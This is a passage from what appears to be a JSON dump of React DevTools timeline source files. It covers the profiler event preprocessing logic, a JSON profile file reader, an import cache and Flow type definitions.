note of it.\n        // Once we're done processing events, we'll check to see if it was a long update and warn about it.\n        if (state.measureStack.find(({type}) => type === 'commit')) {\n          state.potentialLongNestedUpdate = stateUpdateEvent;\n        }\n\n        currentProfilerData.schedulingEvents.push(stateUpdateEvent);\n      } else if (name.startsWith('--error-')) {\n        const [componentName, phase, message] = name.slice(8).split('-');\n\n        currentProfilerData.thrownErrors.push({\n          componentName,\n          message,\n          phase: ((phase: any): Phase),\n          timestamp: startTime,\n          type: 'thrown-error',\n        });\n      } else if (name.startsWith('--suspense-suspend-')) {\n        const [id, componentName, phase, laneBitmaskString, promiseName] = name\n          .slice(19)\n          .split('-');\n        const lanes = getLanesFromTransportDecimalBitmask(laneBitmaskString);\n\n        const availableDepths = new Array<boolean>(\n          state.unresolvedSuspenseEvents.size + 1,\n        ).fill(true);\n        state.unresolvedSuspenseEvents.forEach(({depth}) => {\n          availableDepths[depth] = false;\n        });\n\n        let depth = 0;\n        for (let i = 0; i < availableDepths.length; i++) {\n          if (availableDepths[i]) {\n            depth = i;\n            break;\n          }\n        }\n\n        // TODO (timeline) Maybe we should calculate depth in post,\n        // so unresolved Suspense requests don't take up space.\n        // We can't know if they'll be resolved or not at this point.\n        // We'll just give them a default (fake) duration width.\n\n        const suspenseEvent: SuspenseEvent = {\n          componentName,\n          depth,\n          duration: null,\n          id,\n          phase: ((phase: any): Phase),\n          promiseName: promiseName || null,\n          resolution: 'unresolved',\n          timestamp: startTime,\n          type: 'suspense',\n          warning: null,\n        };\n\n        if (phase === 'update') {\n          // If a component suspended during an update, we should verify that it was during a transition.\n          // We need the lane metadata to verify this though.\n          // Since that data is only logged during commit, we may not have it yet.\n          // Store these events for post-processing then.\n          state.potentialSuspenseEventsOutsideOfTransition.push([\n            suspenseEvent,\n            lanes,\n          ]);\n        }\n\n        currentProfilerData.suspenseEvents.push(suspenseEvent);\n        state.unresolvedSuspenseEvents.set(id, suspenseEvent);\n      } else if (name.startsWith('--suspense-resolved-')) {\n        const [id] = name.slice(20).split('-');\n        const suspenseEvent = state.unresolvedSuspenseEvents.get(id);\n        if (suspenseEvent != null) {\n          state.unresolvedSuspenseEvents.delete(id);\n\n          suspenseEvent.duration = startTime - suspenseEvent.timestamp;\n          suspenseEvent.resolution = 'resolved';\n        }\n      } else if (name.startsWith('--suspense-rejected-')) {\n        const [id] = name.slice(20).split('-');\n        const suspenseEvent = state.unresolvedSuspenseEvents.get(id);\n        if (suspenseEvent != null) {\n          state.unresolvedSuspenseEvents.delete(id);\n\n          suspenseEvent.duration = startTime - suspenseEvent.timestamp;\n          suspenseEvent.resolution = 'rejected';\n        }\n      } else if (name.startsWith('--render-start-')) {\n        if (state.nextRenderShouldGenerateNewBatchID) {\n          state.nextRenderShouldGenerateNewBatchID = false;\n          state.batchUID = ((state.uidCounter++: any): BatchUID);\n        }\n\n        // If this render is the result of a nested update, make a note of it.\n        // Once we're done processing events, we'll check to see if it was a long update and warn about it.\n        if (state.potentialLongNestedUpdate !== null) {\n          state.potentialLongNestedUpdates.push([\n            state.potentialLongNestedUpdate,\n            state.batchUID,\n          ]);\n          state.potentialLongNestedUpdate = null;\n        }\n\n        const [laneBitmaskString] = name.slice(15).split('-');\n\n        throwIfIncomplete('render', state.measureStack);\n        if (getLastType(state.measureStack) !== 'render-idle') {\n          markWorkStarted(\n            'render-idle',\n            startTime,\n            getLanesFromTransportDecimalBitmask(laneBitmaskString),\n            currentProfilerData,\n            state,\n          );\n        }\n        markWorkStarted(\n          'render',\n          startTime,\n          getLanesFromTransportDecimalBitmask(laneBitmaskString),\n          currentProfilerData,\n          state,\n        );\n\n        for (let i = 0; i < state.nativeEventStack.length; i++) {\n          const nativeEvent = state.nativeEventStack[i];\n          const stopTime = nativeEvent.timestamp + nativeEvent.duration;\n\n          // If React work was scheduled during an event handler, and the event had a long duration,\n          // it might be because the React render was long and stretched the event.\n          // It might also be that the React work was short and that something else stretched the event.\n          // Make a note of this event for now and we'll examine the batch of React render work later.\n          // (We can't know until we're done processing the React update anyway.)\n          if (stopTime > startTime) {\n            state.potentialLongEvents.push([nativeEvent, state.batchUID]);\n          }\n        }\n      } else if (\n        name.startsWith('--render-stop') ||\n        name.startsWith('--render-yield')\n      ) {\n        markWorkCompleted(\n          'render',\n          startTime,\n          currentProfilerData,\n          state.measureStack,\n        );\n      } else if (name.startsWith('--commit-start-')) {\n        state.nextRenderShouldGenerateNewBatchID = true;\n        const [laneBitmaskString] = name.slice(15).split('-');\n\n        markWorkStarted(\n          'commit',\n          startTime,\n          getLanesFromTransportDecimalBitmask(laneBitmaskString),\n          currentProfilerData,\n          state,\n        );\n      } else if (name.startsWith('--commit-stop')) {\n        markWorkCompleted(\n          'commit',\n          startTime,\n          currentProfilerData,\n          state.measureStack,\n        );\n        markWorkCompleted(\n          'render-idle',\n          startTime,\n          currentProfilerData,\n          state.measureStack,\n        );\n      } else if (name.startsWith('--layout-effects-start-')) {\n        const [laneBitmaskString] = name.slice(23).split('-');\n\n        markWorkStarted(\n          'layout-effects',\n          startTime,\n          getLanesFromTransportDecimalBitmask(laneBitmaskString),\n          currentProfilerData,\n          state,\n        );\n      } else if (name.startsWith('--layout-effects-stop')) {\n        markWorkCompleted(\n          'layout-effects',\n          startTime,\n          currentProfilerData,\n          state.measureStack,\n        );\n      } else if (name.startsWith('--passive-effects-start-')) {\n        const [laneBitmaskString] = name.slice(24).split('-');\n\n        markWorkStarted(\n          'passive-effects',\n          startTime,\n          getLanesFromTransportDecimalBitmask(laneBitmaskString),\n          currentProfilerData,\n          state,\n        );\n      } else if (name.startsWith('--passive-effects-stop')) {\n        markWorkCompleted(\n          'passive-effects',\n          startTime,\n          currentProfilerData,\n          state.measureStack,\n        );\n      } else if (name.startsWith('--react-internal-module-start-')) {\n        const stackFrameStart = name.slice(30);\n\n        if (!state.internalModuleStackStringSet.has(stackFrameStart)) {\n          state.internalModuleStackStringSet.add(stackFrameStart);\n\n          const parsedStackFrameStart = parseStackFrame(stackFrameStart);\n\n          state.internalModuleCurrentStackFrame = parsedStackFrameStart;\n        }\n      } else if (name.startsWith('--react-internal-module-stop-')) {\n        const stackFrameStop = name.slice(29);\n\n        if (!state.internalModuleStackStringSet.has(stackFrameStop)) {\n          state.internalModuleStackStringSet.add(stackFrameStop);\n\n          const parsedStackFrameStop = parseStackFrame(stackFrameStop);\n\n          if (\n            parsedStackFrameStop !== null &&\n            state.internalModuleCurrentStackFrame !== null\n          ) {\n            const parsedStackFrameStart = state.internalModuleCurrentStackFrame;\n\n            state.internalModuleCurrentStackFrame = null;\n\n            const range = [parsedStackFrameStart, parsedStackFrameStop];\n            const ranges = currentProfilerData.internalModuleSourceToRanges.get(\n              parsedStackFrameStart.fileName,\n            );\n            if (ranges == null) {\n              currentProfilerData.internalModuleSourceToRanges.set(\n                parsedStackFrameStart.fileName,\n                [range],\n              );\n            } else {\n              ranges.push(range);\n            }\n          }\n        }\n      } else if (ph === 'R' || ph === 'n') {\n        // User Timing mark\n        currentProfilerData.otherUserTimingMarks.push({\n          name,\n          timestamp: startTime,\n        });\n      } else if (ph === 'b') {\n        // TODO: Begin user timing measure\n      } else if (ph === 'e') {\n        // TODO: End user timing measure\n      } else if (ph === 'i' || ph === 'I') {\n        // Instant events.\n        // Note that the capital \"I\" is a deprecated value that exists in Chrome Canary traces.\n      } else {\n        throw new InvalidProfileError(\n          `Unrecognized event ${JSON.stringify(\n            event,\n          )}! This is likely a bug in this profiler tool.`,\n        );\n      }\n      break;\n  }\n}\n\nfunction assertNoOverlappingComponentMeasure(state: ProcessorState) {\n  if (state.currentReactComponentMeasure !== null) {\n    console.error(\n      'Component measure started while another measure in progress:',\n      state.currentReactComponentMeasure,\n    );\n  }\n}\n\nfunction assertCurrentComponentMeasureType(\n  state: ProcessorState,\n  type: ReactComponentMeasureType,\n): void {\n  if (state.currentReactComponentMeasure === null) {\n    console.error(\n      `Component measure type \"${type}\" stopped while no measure was in progress`,\n    );\n  } else if (state.currentReactComponentMeasure.type !== type) {\n    console.error(\n      `Component measure type \"${type}\" stopped while type ${state.currentReactComponentMeasure.type} in progress`,\n    );\n  }\n}\n\nfunction processReactComponentMeasure(\n  name: string,\n  startTime: Milliseconds,\n  currentProfilerData: TimelineData,\n  state: ProcessorState,\n): void {\n  if (name.startsWith('--component-render-start-')) {\n    const [componentName] = name.slice(25).split('-');\n\n    assertNoOverlappingComponentMeasure(state);\n\n    state.currentReactComponentMeasure = {\n      componentName,\n      timestamp: startTime,\n      duration: 0,\n      type: 'render',\n      warning: null,\n    };\n  } else if (name === '--component-render-stop') {\n    assertCurrentComponentMeasureType(state, 'render');\n\n    if (state.currentReactComponentMeasure !== null) {\n      const componentMeasure = state.currentReactComponentMeasure;\n      componentMeasure.duration = startTime - componentMeasure.timestamp;\n\n      state.currentReactComponentMeasure = null;\n\n      currentProfilerData.componentMeasures.push(componentMeasure);\n    }\n  } else if (name.startsWith('--component-layout-effect-mount-start-')) {\n    const [componentName] = name.slice(38).split('-');\n\n    assertNoOverlappingComponentMeasure(state);\n\n    state.currentReactComponentMeasure = {\n      componentName,\n      timestamp: startTime,\n      duration: 0,\n      type: 'layout-effect-mount',\n      warning: null,\n    };\n  } else if (name === '--component-layout-effect-mount-stop') {\n    assertCurrentComponentMeasureType(state, 'layout-effect-mount');\n\n    if (state.currentReactComponentMeasure !== null) {\n      const componentMeasure = state.currentReactComponentMeasure;\n      componentMeasure.duration = startTime - componentMeasure.timestamp;\n\n      state.currentReactComponentMeasure = null;\n\n      currentProfilerData.componentMeasures.push(componentMeasure);\n    }\n  } else if (name.startsWith('--component-layout-effect-unmount-start-')) {\n    const [componentName] = name.slice(40).split('-');\n\n    assertNoOverlappingComponentMeasure(state);\n\n    state.currentReactComponentMeasure = {\n      componentName,\n      timestamp: startTime,\n      duration: 0,\n      type: 'layout-effect-unmount',\n      warning: null,\n    };\n  } else if (name === '--component-layout-effect-unmount-stop') {\n    assertCurrentComponentMeasureType(state, 'layout-effect-unmount');\n\n    if (state.currentReactComponentMeasure !== null) {\n      const componentMeasure = state.currentReactComponentMeasure;\n      componentMeasure.duration = startTime - componentMeasure.timestamp;\n\n      state.currentReactComponentMeasure = null;\n\n      currentProfilerData.componentMeasures.push(componentMeasure);\n    }\n  } else if (name.startsWith('--component-passive-effect-mount-start-')) {\n    const [componentName] = name.slice(39).split('-');\n\n    assertNoOverlappingComponentMeasure(state);\n\n    state.currentReactComponentMeasure = {\n      componentName,\n      timestamp: startTime,\n      duration: 0,\n      type: 'passive-effect-mount',\n      warning: null,\n    };\n  } else if (name === '--component-passive-effect-mount-stop') {\n    assertCurrentComponentMeasureType(state, 'passive-effect-mount');\n\n    if (state.currentReactComponentMeasure !== null) {\n      const componentMeasure = state.currentReactComponentMeasure;\n      componentMeasure.duration = startTime - componentMeasure.timestamp;\n\n      state.currentReactComponentMeasure = null;\n\n      currentProfilerData.componentMeasures.push(componentMeasure);\n    }\n  } else if (name.startsWith('--component-passive-effect-unmount-start-')) {\n    const [componentName] = name.slice(41).split('-');\n\n    assertNoOverlappingComponentMeasure(state);\n\n    state.currentReactComponentMeasure = {\n      componentName,\n      timestamp: startTime,\n      duration: 0,\n      type: 'passive-effect-unmount',\n      warning: null,\n    };\n  } else if (name === '--component-passive-effect-unmount-stop') {\n    assertCurrentComponentMeasureType(state, 'passive-effect-unmount');\n\n    if (state.currentReactComponentMeasure !== null) {\n      const componentMeasure = state.currentReactComponentMeasure;\n      componentMeasure.duration = startTime - componentMeasure.timestamp;\n\n      state.currentReactComponentMeasure = null;\n\n      currentProfilerData.componentMeasures.push(componentMeasure);\n    }\n  }\n}\n\nfunction preprocessFlamechart(rawData: TimelineEvent[]): Flamechart {\n  let parsedData;\n  try {\n    parsedData = importFromChromeTimeline(rawData, 'react-devtools');\n  } catch (error) {\n    // Assume any Speedscope errors are caused by bad profiles\n    const errorToRethrow = new InvalidProfileError(error.message);\n    errorToRethrow.stack = error.stack;\n    throw errorToRethrow;\n  }\n\n  const profile = parsedData.profiles[0]; // TODO: Choose the main CPU thread only\n\n  const speedscopeFlamechart = new SpeedscopeFlamechart({\n    // $FlowFixMe[method-unbinding]\n    getTotalWeight: profile.getTotalWeight.bind(profile),\n    // $FlowFixMe[method-unbinding]\n    forEachCall: profile.forEachCall.bind(profile),\n    // $FlowFixMe[method-unbinding]\n    formatValue: profile.formatValue.bind(profile),\n    getColorBucketForFrame: () => 0,\n  });\n\n  const flamechart: Flamechart = speedscopeFlamechart.getLayers().map(layer =>\n    layer.map(\n      ({\n        start,\n        end,\n        node: {\n          frame: {name, file, line, col},\n        },\n      }) => ({\n        name,\n        timestamp: start / 1000,\n        duration: (end - start) / 1000,\n        scriptUrl: file,\n        locationLine: line,\n        locationColumn: col,\n      }),\n    ),\n  );\n\n  return flamechart;\n}\n\nfunction parseStackFrame(stackFrame: string): ErrorStackFrame | null {\n  const error = new Error();\n  error.stack = stackFrame;\n\n  const frames = ErrorStackParser.parse(error);\n\n  return frames.length === 1 ? frames[0] : null;\n}\n\nexport default async function preprocessData(\n  timeline: TimelineEvent[],\n): Promise<TimelineData> {\n  const flamechart = preprocessFlamechart(timeline);\n\n  const laneToReactMeasureMap: Map<ReactLane, Array<ReactMeasure>> = new Map();\n  for (let lane: ReactLane = 0; lane < REACT_TOTAL_NUM_LANES; lane++) {\n    laneToReactMeasureMap.set(lane, []);\n  }\n\n  const profilerData: TimelineData = {\n    batchUIDToMeasuresMap: new Map(),\n    componentMeasures: [],\n    duration: 0,\n    flamechart,\n    internalModuleSourceToRanges: new Map(),\n    laneToLabelMap: new Map(),\n    laneToReactMeasureMap,\n    nativeEvents: [],\n    networkMeasures: [],\n    otherUserTimingMarks: [],\n    reactVersion: null,\n    schedulingEvents: [],\n    snapshots: [],\n    snapshotHeight: 0,\n    startTime: 0,\n    suspenseEvents: [],\n    thrownErrors: [],\n  };\n\n  // Sort `timeline`. JSON Array Format trace events need not be ordered. See:\n  // https://docs.google.com/document/d/1CvAClvFfyA5R-PhYUmn5OOQtYMH4h6I0nSsKchNAySU/preview#heading=h.f2f0yd51wi15\n  timeline = timeline.filter(Boolean).sort((a, b) => (a.ts > b.ts ? 1 : -1));\n\n  // Events displayed in flamechart have timestamps relative to the profile\n  // event's startTime. Source: https://github.com/v8/v8/blob/44bd8fd7/src/inspector/js_protocol.json#L1486\n  //\n  // We'll thus expect there to be a 'Profile' event; if there is not one, we\n  // can deduce that there are no flame chart events. As we expect React\n  // scheduling profiling user timing marks to be recorded together with browser\n  // flame chart events, we can futher deduce that the data is invalid and we\n  // don't bother finding React events.\n  const indexOfProfileEvent = timeline.findIndex(\n    event => event.name === 'Profile',\n  );\n  if (indexOfProfileEvent === -1) {\n    return profilerData;\n  }\n\n  // Use Profile event's `startTime` as the start time to align with flame chart.\n  // TODO: Remove assumption that there'll only be 1 'Profile' event. If this\n  // assumption does not hold, the chart may start at the wrong time.\n  profilerData.startTime = timeline[indexOfProfileEvent].args.data.startTime;\n  profilerData.duration =\n    (timeline[timeline.length - 1].ts - profilerData.startTime) / 1000;\n\n  const state: ProcessorState = {\n    asyncProcessingPromises: [],\n    batchUID: 0,\n    currentReactComponentMeasure: null,\n    internalModuleCurrentStackFrame: null,\n    internalModuleStackStringSet: new Set(),\n    measureStack: [],\n    nativeEventStack: [],\n    nextRenderShouldGenerateNewBatchID: true,\n    potentialLongEvents: [],\n    potentialLongNestedUpdate: null,\n    potentialLongNestedUpdates: [],\n    potentialSuspenseEventsOutsideOfTransition: [],\n    requestIdToNetworkMeasureMap: new Map(),\n    uidCounter: 0,\n    unresolvedSuspenseEvents: new Map(),\n  };\n\n  timeline.forEach(event => processTimelineEvent(event, profilerData, state));\n\n  if (profilerVersion === null) {\n    if (\n      profilerData.schedulingEvents.length === 0 &&\n      profilerData.batchUIDToMeasuresMap.size === 0\n    ) {\n      // No profiler version could indicate data was logged using an older build of React,\n      // before an explicitly profiler version was included in the logging data.\n      // But it could also indicate that the website was either not using React, or using a production build.\n      // The easiest way to check for this case is to see if the data contains any scheduled updates or render work.\n      throw new InvalidProfileError(\n        'No React marks were found in the provided profile.' +\n          ' Please provide profiling data from an React application running in development or profiling mode.',\n      );\n    }\n\n    throw new InvalidProfileError(\n      `This version of profiling data is not supported by the current profiler.`,\n    );\n  }\n\n  // Validate that all events and measures are complete\n  const {measureStack} = state;\n  if (measureStack.length > 0) {\n    console.error('Incomplete events or measures', measureStack);\n  }\n\n  // Check for warnings.\n  state.potentialLongEvents.forEach(([nativeEvent, batchUID]) => {\n    // See how long the subsequent batch of React work was.\n    // Ignore any work that was already started.\n    const [startTime, stopTime] = getBatchRange(\n      batchUID,\n      profilerData,\n      nativeEvent.timestamp,\n    );\n    if (stopTime - startTime > NATIVE_EVENT_DURATION_THRESHOLD) {\n      nativeEvent.warning = WARNING_STRINGS.LONG_EVENT_HANDLER;\n    }\n  });\n  state.potentialLongNestedUpdates.forEach(([schedulingEvent, batchUID]) => {\n    // See how long the subsequent batch of React work was.\n    const [startTime, stopTime] = getBatchRange(batchUID, profilerData);\n    if (stopTime - startTime > NESTED_UPDATE_DURATION_THRESHOLD) {\n      // Don't warn about transition updates scheduled during the commit phase.\n      // e.g. useTransition, useDeferredValue\n      // These are allowed to be long-running.\n      if (\n        !schedulingEvent.lanes.some(\n          lane => profilerData.laneToLabelMap.get(lane) === 'Transition',\n        )\n      ) {\n        // FIXME: This warning doesn't account for \"nested updates\" that are\n        // spawned by useDeferredValue. Disabling temporarily until we figure\n        // out the right way to handle this.\n        // schedulingEvent.warning = WARNING_STRINGS.NESTED_UPDATE;\n      }\n    }\n  });\n  state.potentialSuspenseEventsOutsideOfTransition.forEach(\n    ([suspenseEvent, lanes]) => {\n      // HACK This is a bit gross but the numeric lane value might change between render versions.\n      if (\n        !lanes.some(\n          lane => profilerData.laneToLabelMap.get(lane) === 'Transition',\n        )\n      ) {\n        suspenseEvent.warning = WARNING_STRINGS.SUSPEND_DURING_UPDATE;\n      }\n    },\n  );\n\n  // Wait for any async processing to complete before returning.\n  // Since processing is done in a worker, async work must complete before data is serialized and returned.\n  await Promise.all(state.asyncProcessingPromises);\n\n  // Now that all images have been loaded, let's figure out the display size we're going to use for our thumbnails:\n  // both the ones rendered to the canvas and the ones shown on hover.\n  if (profilerData.snapshots.length > 0) {\n    // NOTE We assume a static window size here, which is not necessarily true but should be for most cases.\n    // Regardless, Chrome also sets a single size/ratio and stick with it- so we'll do the same.\n    const snapshot = profilerData.snapshots[0];\n\n    profilerData.snapshotHeight = Math.min(\n      snapshot.height,\n      SNAPSHOT_MAX_HEIGHT,\n    );\n  }\n\n  return profilerData;\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/import-worker/readInputData.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport nullthrows from 'nullthrows';\nimport InvalidProfileError from './InvalidProfileError';\n\nexport const readInputData = (file: File): Promise<string> => {\n  if (!file.name.endsWith('.json')) {\n    throw new InvalidProfileError(\n      'Invalid file type. Only JSON performance profiles are supported',\n    );\n  }\n\n  const fileReader = new FileReader();\n\n  return new Promise((resolve, reject) => {\n    fileReader.onload = () => {\n      const result = nullthrows(fileReader.result);\n      if (typeof result === 'string') {\n        resolve(result);\n      }\n      reject(new InvalidProfileError('Input file was not read as a string'));\n    };\n\n    fileReader.onerror = () => reject(fileReader.error);\n\n    fileReader.readAsText(file);\n  });\n};\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/timelineCache.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  Thenable,\n  FulfilledThenable,\n  RejectedThenable,\n} from 'shared/ReactTypes';\nimport type {TimelineData} from './types';\n\nimport * as React from 'react';\n\nimport {importFile as importFileWorker} from './import-worker';\n\n// This is intentionally a module-level Map, rather than a React-managed one.\n// Otherwise, refreshing the inspected element cache would also clear this cache.\n// Profiler file contents are static anyway.\nconst fileNameToProfilerDataMap: Map<\n  string,\n  Thenable<TimelineData>,\n> = new Map();\n\nfunction readRecord<T>(record: Thenable<T>): T | Error {\n  if (typeof React.use === 'function') {\n    try {\n      // eslint-disable-next-line react-hooks-published/rules-of-hooks\n      return React.use(record);\n    } catch (x) {\n      if (record.status === 'rejected') {\n        return (record.reason: any);\n      }\n      throw x;\n    }\n  }\n  if (record.status === 'fulfilled') {\n    return record.value;\n  } else if (record.status === 'rejected') {\n    return (record.reason: any);\n  } else {\n    throw record;\n  }\n}\n\nexport function importFile(file: File): TimelineData | Error {\n  const fileName = file.name;\n  let record = fileNameToProfilerDataMap.get(fileName);\n\n  if (!record) {\n    const callbacks = new Set<(value: any) => mixed>();\n    const rejectCallbacks = new Set<(reason: mixed) => mixed>();\n    const thenable: Thenable<TimelineData> = {\n      status: 'pending',\n      value: null,\n      reason: null,\n      then(callback: (value: any) => mixed, reject: (error: mixed) => mixed) {\n        callbacks.add(callback);\n        rejectCallbacks.add(reject);\n      },\n\n      // Optional property used by Timeline:\n      displayName: `Importing file \"${fileName}\"`,\n    };\n\n    const wake = () => {\n      // This assumes they won't throw.\n      callbacks.forEach(callback => callback((thenable: any).value));\n      callbacks.clear();\n      rejectCallbacks.clear();\n    };\n    const wakeRejections = () => {\n      // This assumes they won't throw.\n      rejectCallbacks.forEach(callback => callback((thenable: any).reason));\n      rejectCallbacks.clear();\n      callbacks.clear();\n    };\n\n    record = thenable;\n\n    importFileWorker(file).then(data => {\n      switch (data.status) {\n        case 'SUCCESS':\n          const fulfilledThenable: FulfilledThenable<TimelineData> =\n            (thenable: any);\n          fulfilledThenable.status = 'fulfilled';\n          fulfilledThenable.value = data.processedData;\n          wake();\n          break;\n        case 'INVALID_PROFILE_ERROR':\n        case 'UNEXPECTED_ERROR':\n          const rejectedThenable: RejectedThenable<TimelineData> =\n            (thenable: any);\n          rejectedThenable.status = 'rejected';\n          rejectedThenable.reason = data.error;\n          wakeRejections();\n          break;\n      }\n    });\n\n    fileNameToProfilerDataMap.set(fileName, record);\n  }\n\n  const response = readRecord(record);\n  return response;\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/types.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\nimport type {StackFrame as ErrorStackFrame} from 'error-stack-parser';\nimport type {ScrollState} from './view-base/utils/scrollState';\n\n// Source: https://github.com/facebook/flow/issues/4002#issuecomment-323612798\n// eslint-disable-next-line no-unused-vars\ntype Return_<R, F: (...args: Array<any>) => R> = R;\n/** Get return type of a function. */\nexport type Return<T> = Return_<mixed, T>;\n\n// Project types\nexport type {ErrorStackFrame};\n\nexport type Milliseconds = number;\n\nexport type ReactLane = number;\n\nexport type NativeEvent = {\n  +depth: number,\n  +duration: Milliseconds,\n  +timestamp: Milliseconds,\n  +type: string,\n  warning: string | null,\n};\n\ntype BaseReactEvent = {\n  +componentName?: string,\n  +timestamp: Milliseconds,\n  warning: string | null,\n};\n\ntype BaseReactScheduleEvent = {\n  ...BaseReactEvent,\n  +lanes: ReactLane[],\n};\nexport type ReactScheduleRenderEvent = {\n  ...BaseReactScheduleEvent,\n  +type: 'schedule-render',\n};\nexport type ReactScheduleStateUpdateEvent = {\n  ...BaseReactScheduleEvent,\n  +componentStack?: string,\n  +type: 'schedule-state-update',\n};\nexport type ReactScheduleForceUpdateEvent = {\n  ...BaseReactScheduleEvent,\n  +type: 'schedule-force-update',\n};\n\nexport type Phase = 'mount' | 'update';\n\nexport type SuspenseEvent = {\n  ...BaseReactEvent,\n  depth: number,\n  duration: number | null,\n  +id: string,\n  +phase: Phase | null,\n  promiseName: string | null,\n  resolution: 'rejected' | 'resolved' | 'unresolved',\n  +type: 'suspense',\n};\n\nexport type ThrownError = {\n  +componentName?: string,\n  +message: string,\n  +phase: Phase,\n  +timestamp: Milliseconds,\n  +type: 'thrown-error',\n};\n\nexport type SchedulingEvent =\n  | ReactScheduleRenderEvent\n  | ReactScheduleStateUpdateEvent\n  | ReactScheduleForceUpdateEvent;\nexport type SchedulingEventType = SchedulingEvent['type'];\n\nexport type ReactMeasureType =\n  | 'commit'\n  // render-idle: A measure spanning the time when a render starts, through all\n  // yields and restarts, and ends when commit stops OR render is cancelled.\n  | 'render-idle'\n  | 'render'\n  | 'layout-effects'\n  | 'passive-effects';\n\nexport type BatchUID = number;\n\nexport type ReactMeasure = {\n  +type: ReactMeasureType,\n  +lanes: ReactLane[],\n  +timestamp: Milliseconds,\n  +duration: Milliseconds,\n  +batchUID: BatchUID,\n  +depth: number,\n};\n\nexport type NetworkMeasure = {\n  +depth: number,\n  finishTimestamp: Milliseconds,\n  firstReceivedDataTimestamp: Milliseconds,\n  lastReceivedDataTimestamp: Milliseconds,\n  priority: string,\n  receiveResponseTimestamp: Milliseconds,\n  +requestId: string,\n  requestMethod: string,\n  sendRequestTimestamp: Milliseconds,\n  url: string,\n};\n\nexport type ReactComponentMeasureType =\n  | 'render'\n  | 'layout-effect-mount'\n  | 'layout-effect-unmount'\n  | 'passive-effect-mount'\n  | 'passive-effect-unmount';\n\nexport type ReactComponentMeasure = {\n  +componentName: string,\n  duration: Milliseconds,\n  +timestamp: Milliseconds,\n  +type: ReactComponentMeasureType,\n  warning: string | null,\n};\n\n/**\n * A flamechart stack frame belonging to a stack trace.\n */\nexport type FlamechartStackFrame = {\n  name: string,\n  timestamp: Milliseconds,\n  duration: Milliseconds,\n  scriptUrl?: string,\n  locationLine?: number,\n  locationColumn?: number,\n};\n\nexport type UserTimingMark = {\n  name: string,\n  timestamp: Milliseconds,\n};\n\nexport type Snapshot = {\n  height: number,\n  image: Image | null,\n  +imageSource: string,\n  +timestamp: Milliseconds,\n  width: number,\n};\n\n/**\n * A \"layer\" of stack frames in the profiler UI, i.e. all stack frames of the\n * same depth across all stack traces. Displayed as a flamechart row in the UI.\n */\nexport type FlamechartStackLayer = FlamechartStackFrame[];\n\nexport type Flamechart = FlamechartStackLayer[];\n\nexport type HorizontalScrollStateChangeCallback = (\n  scrollState: ScrollState,\n) => void;\nexport type SearchRegExpStateChangeCallback = (\n  searchRegExp: RegExp | null,\n) => void;\n\n// Imperative view state that corresponds to profiler data.\n// This state lives outside of React's lifecycle\n// and should be erased/reset whenever new profiler data is loaded.\nexport type ViewState = {\n  horizontalScrollState: ScrollState,\n  onHorizontalScrollStateChange: (\n    callback: HorizontalScrollStateChangeCallback,\n  ) => void,\n  onSearchRegExpStateChange: (\n    callback: SearchRegExpStateChangeCallback,\n  ) => void,\n  searchRegExp: RegExp | null,\n  updateHorizontalScrollState: (scrollState: ScrollState) => void,\n  updateSearchRegExpState: (searchRegExp: RegExp | null) => void,\n  viewToMutableViewStateMap: Map<string, mixed>,\n};\n\nexport type InternalModuleSourceToRanges = Map<\n  string | void,\n  Array<[ErrorStackFrame, ErrorStackFrame]>,\n>;\n\nexport type LaneToLabelMap = Map<ReactLane, string>;\n\nexport type TimelineData = {\n  batchUIDToMeasuresMap: Map<BatchUID, ReactMeasure[]>,\n  componentMeasures: ReactComponentMeasure[],\n  duration: number,\n  flamechart: Flamechart,\n  internalModuleSourceToRanges: InternalModuleSourceToRanges,\n  laneToLabelMap: LaneToLabelMap,\n  laneToReactMeasureMap: Map<ReactLane, ReactMeasure[]>,\n  nativeEvents: NativeEvent[],\n  networkMeasures: NetworkMeasure[],\n  otherUserTimingMarks: UserTimingMark[],\n  reactVersion: string | null,\n  schedulingEvents: SchedulingEvent[],\n  snapshots: Snapshot[],\n  snapshotHeight: number,\n  startTime: number,\n  suspenseEvents: SuspenseEvent[],\n  thrownErrors: ThrownError[],\n};\n\nexport type TimelineDataExport = {\n  batchUIDToMeasuresKeyValueArray: Array<[BatchUID, ReactMeasure[]]>,\n  componentMeasures: ReactComponentMeasure[],\n  duration: number,\n  flamechart: Flamechart,\n  internalModuleSourceToRanges: Array<\n    [string | void, Array<[ErrorStackFrame, ErrorStackFrame]>],\n  >,\n  laneToLabelKeyValueArray: Array<[ReactLane, string]>,\n  laneToReactMeasureKeyValueArray: Array<[ReactLane, ReactMeasure[]]>,\n  nativeEvents: NativeEvent[],\n  networkMeasures: NetworkMeasure[],\n  otherUserTimingMarks: UserTimingMark[],\n  reactVersion: string | null,\n  schedulingEvents: SchedulingEvent[],\n  snapshots: Snapshot[],\n  snapshotHeight: number,\n  startTime: number,\n  suspenseEvents: SuspenseEvent[],\n  thrownErrors: ThrownError[],\n};\n\nexport type ReactEventInfo = {\n  componentMeasure: ReactComponentMeasure | null,\n  flamechartStackFrame: FlamechartStackFrame | null,\n  measure: ReactMeasure | null,\n  nativeEvent: NativeEvent | null,\n  networkMeasure: NetworkMeasure | null,\n  schedulingEvent: SchedulingEvent | null,\n  suspenseEvent: SuspenseEvent | null,\n  snapshot: Snapshot | null,\n  thrownError: ThrownError | null,\n  userTimingMark: UserTimingMark | null,\n};\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/utils/flow.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\nimport type {ReactScheduleStateUpdateEvent, SchedulingEvent} from '../types';\n\nexport function isStateUpdateEvent(\n  event: SchedulingEvent,\n  // eslint-disable-next-line\n): event is ReactScheduleStateUpdateEvent {\n  return event.type === 'schedule-state-update';\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/utils/formatting.js",
